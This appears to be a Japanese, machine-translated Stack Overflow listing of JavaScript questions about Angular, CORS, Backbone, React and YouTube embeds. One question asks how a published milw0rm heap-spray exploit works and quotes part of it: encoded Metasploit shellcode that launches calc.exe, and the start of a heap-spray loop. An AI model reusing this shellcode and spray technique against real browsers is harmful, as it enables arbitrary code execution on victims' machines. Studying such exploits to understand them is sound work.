タグ付けされた質問 「javascript」

ECMAScript(JavaScript / JS)とそのさまざまな方言/実装(ActionScriptを除く)でのプログラミングに関する質問。このタグが単独で使用されることはほとんどありませんが、ほとんどの場合、[node.js]、[jquery]、[json]、および[html]タグに関連付けられています。

4
Angular4-フォームコントロールの値アクセサーなし
カスタム要素があります: <div formControlName="surveyType"> <div *ngFor="let type of surveyTypes" (click)="onSelectType(type)" [class.selected]="type === selectedType"> <md-icon>{{ type.icon }}</md-icon> <span>{{ type.description }}</span> </div> </div> formControlNameを追加しようとすると、エラーメッセージが表示されます。 エラーエラー:名前が 'surveyType'のフォームコントロールに値アクセサーがありません 追加ngDefaultControlに失敗しました。それは入力/選択がないためだと思われます...そして私は何をすべきか分かりません。 私のクリックをこのformControlにバインドして、誰かがカード全体をクリックしたときに私の「タイプ」がformControlにプッシュされるようにします。出来ますか?

7
textarea内のHTMLのレンダリング
一部のHTMLタグをtextarea(つまり、<strong>、<i>、<u>、<a>)内にレンダリングできるようにする必要がありますが、textareaはコンテンツをテキストとしてしか解釈しません。外部ライブラリ/プラグインに依存せずにそれを行う簡単な方法はありますか(私はjQueryを使用しています)?そうでない場合、私がこれを行うために使用できるjQueryプラグインを知っていますか?


11
PHPヘッダーを使用したクロスオリジンリクエストヘッダー(CORS)
クロスドメインCORSリクエストを試行する単純なPHPスクリプトがあります。 <?php header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Headers: *"); ... それでも私はまだエラーが発生します: リクエストヘッダーフィールドX-Requested-Withは許可されていませんAccess-Control-Allow-Headers 不足しているものはありますか?

7
JavaScriptを使用してブラウザーでWord文書(.doc、.docx)をレンダリングするにはどうすればよいですか?
「開く/保存」ダイアログの代わりにブラウザでPDFファイルを表示するコードを正常に実行しました。今、私はブラウザでWord文書を表示しようとしています。Firefox、IE7 +、ChromeなどでWord文書を表示したい 誰か助けてもらえますか?ブラウザでWordドキュメントを表示しているときに、常に[開く/保存]ダイアログが表示されます。JavaScriptを使用してこの機能を実装したいと思います。

17
オブジェクトのJavascript配列内にオブジェクト値が存在するかどうかを確認し、存在しない場合は配列に新しいオブジェクトを追加します
オブジェクトの次の配列がある場合: [ { id: 1, username: 'fred' }, { id: 2, username: 'bill' }, { id: 2, username: 'ted' } ] 特定のユーザー名の値がすでに存在するかどうかを確認するために配列をループする方法はありますか?それが何もしない場合は、そのユーザー名(および新しいID)で新しいオブジェクトを配列に追加しませんか? ありがとう!




3
デフォルトオプションを使用したAngularJSディレクティブ
私はangularjsから始めて、いくつかの古いJQueryプラグインをAngularディレクティブに変換する作業をしています。(要素)ディレクティブのデフォルトオプションのセットを定義したいのですが、属性にオプション値を指定することでオーバーライドできます。 私は他の人がこれを行った方法を見回してきました、angular-uiライブラリではui.bootstrap.paginationが同様のことをしているようです。 最初に、すべてのデフォルトオプションが定数オブジェクトで定義されます。 .constant('paginationConfig', { itemsPerPage: 10, boundaryLinks: false, ... }) 次に、getAttributeValueユーティリティ関数がディレクティブコントローラにアタッチされます。 this.getAttributeValue = function(attribute, defaultValue, interpolate) { return (angular.isDefined(attribute) ? (interpolate ? $interpolate(attribute)($scope.$parent) : $scope.$parent.$eval(attribute)) : defaultValue); }; 最後に、これはリンク関数で属性を読み込むために使用されます。 .directive('pagination', ['$parse', 'paginationConfig', function($parse, config) { ... controller: 'PaginationController', link: function(scope, element, attrs, paginationCtrl) { var boundaryLinks = paginationCtrl.getAttributeValue(attrs.boundaryLinks, config.boundaryLinks); …

7
このmilw0rmヒープスプレーエクスプロイトはどのように機能しますか?
私は通常、JavaScriptコードを読むのに困難はありませんが、このコードではロジックを理解できません。コードは4日前に公開されたエクスプロイトからのものです。あなたはでそれを見つけることができますmilw0rm。 これがコードです: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory …

3
Backbone.syncをオーバーライドする方法は?
私はBackbone.jsを試していますが、試みていることの1つはリモートAPIを呼び出すことです。そのため、ドキュメントを理解しているので、Backbone.syncをオーバーライドできる必要があります。 ドキュメント自体にその方法の例はありません。また、Backboneのgoogleグループはないようです...誰かがこれを行う例を指摘できますか?

2
AngularJS $ resource RESTfulの例
$ resourceを使用してRESTful Webサービス(まだ作業中です)を呼び出したいのですが、AngularJSスクリプトが最初に正しいかどうかを確認したいと思います。 todo DTOには次の機能があります。 {id, order, content, done} :cmdこれapi/1/todo/resetで、データベースのtodoテーブルをクリアするために呼び出すことができます。 これが私の理解のコメント付きのコードです: function TodoService($resource) { var src = $resource('api/1/todo/:id:cmd', {id: "@id", cmd: "@cmd"}, //parameters default { ListTodos: { method: "GET", params: {} }, GetTodo: { method: "GET", params: { id: 0 } }, CreateTodo: { method: "POST", params: { content: "", …

4
キャッチされていないReferenceError:ytcfgが定義されていません(__ytRILも定義されていません)
私は何ヶ月も問題なくYouTube IFrame Player APIを使用していて、最近プレーヤーが読み込まれるときにこの例外を確認し始めました: Uncaught ReferenceError: ytcfg is not defined iframeを検査すると、への呼び出しは成功しましyt.setConfigたytcfg.setが、後で失敗します。APIは最近変更されましたか?プレーヤーのパラメーターがこの問題を引き起こす可能性はありますか? <script src="//s.ytimg.com/yts/jsbin/www-embed-player-vflnzmqns/www-embed-player.js" type="text/javascript" name="www-embed-player/www-embed-player"></script> <script src="//s.ytimg.com/yts/jsbin/player-en_US-vflr--npw/base.js" name="player/base"></script> <script> yt.setConfig({ ... }); writeEmbed(); </script> <script> ytcsi.info('st', 35); ytcfg.set({ "TIMING_ACTION": "", "CSI_VIEWPORT": true, "TIMING_INFO": { "c": "WEB", "yt_li": 1, "cver": "1.20161112", "yt_lt": "cold" }, "CSI_SERVICE_NAME": "youtube" }); ;</script> この問題にはいくつかのバリエーションがあります。 https://issuetracker.google.com/issues/35178202 "ytcfg …

5
マップするオブジェクトの配列なしでReact.jsの要素をループしてレンダリングする方法は?
jQueryコンポーネントをReact.jsに変換しようとしていますが、問題の1つはforループに基づいてn個の要素をレンダリングすることです。 これは不可能であるか、または推奨されておらず、モデルに配列が存在する場合、それを使用することは完全に理にかなっていることを理解していますmap。それは問題ありませんが、配列がない場合はどうでしょうか?代わりに、レンダリングする要素の数に等しい数値がある場合、どうすればよいですか? これが私の例です。階層レベルに基づいて、要素の前に任意の数のスパンタグを付けたいと思います。したがって、レベル3では、テキスト要素の前に3つのスパンタグが必要です。 JavaScriptでは: for (var i = 0; i < level; i++) { $el.append('<span class="indent"></span>'); } $el.append('Some text value'); これ、またはJSX React.jsコンポーネントで動作するようなものを取得できないようです。代わりに、以下を実行する必要がありました。最初に一時配列を正しい長さに構築し、次に配列をループしました。 React.js render: function() { var tmp = []; for (var i = 0; i < this.props.level; i++) { tmp.push(i); } var indents = tmp.map(function (i) { return ( …

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.